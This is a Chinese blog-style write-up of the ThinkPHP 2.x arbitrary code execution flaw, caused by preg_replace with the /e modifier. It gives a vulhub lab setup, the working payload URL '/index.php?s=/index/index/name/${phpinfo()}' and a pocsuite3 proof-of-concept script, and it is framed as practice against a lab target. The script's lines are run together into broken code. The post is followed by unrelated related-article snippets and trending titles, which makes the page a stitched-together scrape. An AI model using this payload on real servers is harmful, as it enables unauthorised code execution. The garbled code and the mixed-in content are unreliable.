thinkphp 2.x任意代码执行

1.漏洞概述

​ ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

​ 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

​ ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

2.环境搭建

​ 在/vulhub/thinkphp/2-rce下执行docker-compose up -d

​ 环境启动后,访问http://192.168.1.142:8080/index.php查看默认页面

3.漏洞复现

直接访问http://192.168.1.142:8080/index.php?s=/index/index/name/${phpinfo()}即可执行phpinfo()

POC

from pocsuite3.api import Output, POCBase,register_poc,requests,logger
from pocsuite3.api import get_listener_ip,get_listener_port
from pocsuite3.api import REVERSE_PAYLOADclass DemoPOC(POCBase):vulID = ''version = '1'author = 'wcs'vulDate = '2022-04-16'createDate = '2022-04-16'updateDate = '2022-04-16'references = []name = 'thinkphp 2-rce 任意代码执行漏洞'appPowerLink = ''appName = ''appVersion = ''vulType = '任意代码执行'desc = '''练习pocsuite    '''samples = []install_requires = []def _verify(self):output = Output(self)result = {}   # 验证代码payload = "/index.php?s=/index/index/name/${phpinfo()}"url = self.urltry:resq = requests.get(url+payload)if resq and resq.status_code == 200 and "PHP Version" in resq.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = urlresult['VerifyInfo']['Name'] = payloadexcept Exception as e:passif result:output.success(result)else:output.fail('target is not vulnerable')return outputdef _attack(self):return self._verify()
register_poc(DemoPOC)

这个POC主要是自己练习使用pocsuite,就利用了现成的靶场,验证代码也比较简单

thinkphp 2.x 任意代码执行相关推荐

  1. ThinkPHP 2.x 任意代码执行漏洞

    漏洞简介 ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@ ...

  2. thinkphp日志泄漏漏洞_ThinkPHP框架任意代码执行漏洞的利用及其修复方法

    ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2 ...

  3. layuiajax提交表单控制层代码_漏洞预警|ThinkPHP 5.0 远程代码执行

    漏洞预警|ThinkPHP 5.0 远程代码执行 2019-01-11 事件来源 2019年1月11日,ThinkPHP Github仓库发布了新的版本v5.0.24,包含重要的安全更新,山石安服团队 ...

  4. 74cms 任意代码执行(CVE-2020-35339)

    74cms 任意代码执行(CVE-2020-35339) 0x01 漏洞简介 骑士人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统.由太原迅易科技有限公司于2009年 ...

  5. Android Adobe Reader 任意代码执行分析(附POC)

    livers · 2014/04/18 14:05 0x00 描述 前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞. 漏洞编号: CVE: 2014-05 ...

  6. ecshop 2.x/3.x sql注入/任意代码执行漏洞

    影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中di ...

  7. nginx php 配置请求等待时间_CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞预警...

    0x01 前言 2019年10月23日,PHP官方发布了在 nginx 配置不当的情况下 php-fpm 可导致远程代码执行的漏洞. 但由于是配置文件的开放性,还请使用 nginx+php-fpm 的 ...

  8. HP officejet、PageWide打印机任意代码执行漏洞cve-2017-2741 Tenable发布漏洞检测插件...

    打印机无处不在.在企业,在家里,在学校,但你在做网络安全评估的时候是否考虑过他们?你上一次更新打印机固件是什么时候?您是否知道您的打印机有公共漏洞?Tenable安全公司进行了研究,并发布了漏洞检测  ...

  9. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php ?only=1 &show ...

  10. php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造

    *原创作者:bit4@勾陈安全实验室,MottoIN原创文章未经许可禁止转载 0x01 Pickle的典型应用场景 一般在什么场景下需要用到Pickle?通常在解析认证token,session的时候 ...

最新文章

  1. SpringBoot jar包不支持jsp
  2. android手势滑动——左右滑动效果实现
  3. 将JINQ与JPA和H2一起使用
  4. 滴滴出行的数据架构和信息流处理思路解析
  5. CSS 实现加载动画之一-菊花旋转
  6. Python对象引用和del删除引用
  7. html语言使用什么来定位,HTML是什么,URL是什么
  8. LitJson不支持float
  9. 分享31个游戏源代码总有一个是你想要的
  10. 6款Windows超好用的ZIP密码解锁软件
  11. STM32串口驱动(拼音检索测试通过)(环形队列+内存动态分配+DMA)
  12. SCI论文撰写——Conclusion
  13. Qt CRC16校验中,有时候电脑计算的CRC值和单片机中计算的值不一样
  14. 编程序,输入长方形的两边长a和b,输出长方形的周长和面积
  15. 点宽与江苏大学建设量化金融实训平台项目
  16. 搜索引擎介绍系列——数据采集
  17. (论文阅读笔记)OLE:正交低秩嵌入,即插即用的几何损失
  18. 普拉图和施泰纳问题的实验解法
  19. 注意力是PEOPLE最宝贵的财富
  20. Python 爬取 百度地图搜索结果

热门文章

  1. EasyExcel自动设置列宽
  2. opencv 图形识别源码(vs2013+opencv3.0)
  3. java跑酷游戏_HTML5游戏实战(1):50行代码实现正面跑酷游戏
  4. 一种高带外抑制Ku波段滤波器设计
  5. 分享40个主机域名PHP源码,总有一款适合你
  6. for-earch迭代时的错误————java.util.ConcurrentModificationException
  7. 根据经纬度查询位置百度api
  8. Win10环境下运行红色警戒等老款游…
  9. ALS算法介绍(协同过滤算法介绍)
  10. 服务器电脑怎么样装系统,如何给服务器安装系统,是不是和PC机一样安装?